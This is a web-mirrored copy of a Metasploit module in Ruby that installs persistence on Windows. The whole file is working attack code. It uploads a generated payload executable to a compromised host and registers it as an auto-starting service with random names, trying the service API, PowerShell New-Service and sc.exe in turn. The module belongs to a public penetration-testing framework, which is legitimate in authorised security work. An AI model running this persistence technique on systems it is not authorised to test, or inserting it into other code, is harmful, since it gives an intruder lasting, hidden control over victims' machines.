Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/service.rb
32103 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Post::Windows::Services
10
include Msf::Post::File
11
include Msf::Post::Windows::Priv
12
include Post::Windows::Powershell
13
include Msf::Exploit::EXE
14
include Msf::Exploit::Local::Persistence
15
prepend Msf::Exploit::Remote::AutoCheck
16
include Msf::Exploit::Deprecated
17
moved_from 'exploits/windows/local/persistence_service'
18
19
def initialize(info = {})
20
super(
21
update_info(
22
info,
23
'Name' => 'Windows Persistent Service Installer',
24
'Description' => %q{
25
This Module will generate and upload an executable to a remote host.
26
It will create a new service which will start the payload whenever the service is running. Admin or system
27
privilege is required.
28
},
29
'License' => MSF_LICENSE,
30
'Author' => [
31
'Green-m <greenm.xxoo[at]gmail.com>', # original module
32
'h00die' # persistence updates
33
],
34
'Platform' => [ 'windows' ],
35
'Targets' => [['Windows', {}]],
36
'SessionTypes' => [ 'meterpreter' ],
37
'Privileged' => true,
38
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
39
'DefaultTarget' => 0,
40
'References' => [
41
['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'],
42
['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'],
43
['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE],
44
['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION],
45
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
46
],
47
'DisclosureDate' => '2018-10-20',
48
'DefaultOptions' => {
49
'EXITFUNC' => 'process' # process keeps powershell from returning errors on service start
50
},
51
'Notes' => {
52
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
53
'Stability' => [CRASH_SAFE],
54
'SideEffects' => [IOC_IN_LOGS]
55
}
56
)
57
)
58
59
register_options(
60
[
61
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
62
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
63
OptString.new('SERVICE_DISPLAY_NAME', [false, 'The display name of service. Random string as default.']),
64
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]),
65
OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]),
66
]
67
)
68
end
69
70
def writable_dir
71
d = super
72
return session.sys.config.getenv(d) if d.start_with?('%')
73
74
d
75
end
76
77
def check
78
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
79
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
80
81
return CheckCode::Safe('You must be System/Admin to run this Module') unless is_system? || is_admin?
82
83
CheckCode::Appears('Likely exploitable')
84
end
85
86
def install_persistence
87
fail_with(Msf::Module::Failure::NoAccess, 'Insufficient privileges to create service') unless is_system? || is_admin?
88
89
rexename = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(4..8)
90
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(8..12)
91
@service_dname = datastore['SERVICE_DISPLAY_NAME'] || Rex::Text.rand_text_alpha(4..8)
92
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..12)
93
94
rexename << '.exe' unless rexename.end_with?('.exe')
95
96
vprint_status('Compiling payload')
97
@dest_pathname = writable_dir + '\\' + rexename
98
exe = generate_payload_exe_service({ servicename: @service_name, arch: payload.arch[0] })
99
write_file(@dest_pathname, exe)
100
print_good("Payload written to #{@dest_pathname}")
101
102
success = false
103
if datastore['METHOD'] == 'API' || datastore['METHOD'] == 'Auto'
104
vprint_status('Attempting API method')
105
success = api_service
106
end
107
if (datastore['METHOD'] == 'Powershell' || datastore['METHOD'] == 'Auto' && !success) && have_powershell?
108
vprint_status('Attempting Powershell method')
109
success = powershell_service
110
end
111
if datastore['METHOD'] == 'sc.exe' || datastore['METHOD'] == 'Auto' && !success
112
vprint_status('Attempting sc.exe method')
113
sc_service
114
end
115
116
@clean_up_rc << "rm \"#{@dest_pathname.gsub('\\', '\\\\\\\\')}\"\n"
117
@clean_up_rc << "execute -H -f sc.exe -a \"stop #{@service_name}\"\n"
118
@clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n"
119
end
120
121
def powershell_service
122
vprint_status("Install service: #{@service_dname} (#{@service_name})")
123
service_builder = "New-Service -Name '#{@service_name}' "
124
service_builder << "-DisplayName '#{@service_dname}' "
125
service_builder << "-Description '#{@service_description}' "
126
service_builder << "-BinaryPathName '#{@dest_pathname}' "
127
service_builder << '-StartupType Automatic'
128
resp = cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")
129
return false if resp.include?('Access is denied')
130
return false unless resp.include?('Stopped')
131
132
vprint_status("Service install response: #{resp}")
133
vprint_status('Starting service')
134
resp = cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")
135
vprint_status("Service start response: #{resp}")
136
true
137
end
138
139
def sc_service
140
vprint_status("Install service: #{@service_dname} (#{@service_name})")
141
sc_cmd = "sc.exe create #{@service_name} "
142
sc_cmd << "binPath= \"#{@dest_pathname}\" "
143
sc_cmd << 'start= auto '
144
sc_cmd << "DisplayName= \"#{@service_dname}\""
145
resp = cmd_exec(sc_cmd)
146
return false if resp.include?('FAILED')
147
148
vprint_status("Service install response: #{resp}")
149
vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\""))
150
vprint_status('Starting service')
151
resp = cmd_exec("sc.exe start \"#{@service_name}\"")
152
vprint_status("Service start response: #{resp}")
153
true
154
end
155
156
def api_service
157
vprint_status("Install service: #{@service_dname} (#{@service_name})")
158
resp = service_create(@service_name,
159
{
160
display: @service_dname,
161
path: @dest_pathname
162
})
163
return false unless resp == 0
164
165
vprint_status("Service install code: #{resp}")
166
vprint_status('Starting service')
167
vprint_status("Service start code: #{service_start(@service_name)}")
168
true
169
end
170
end
171
172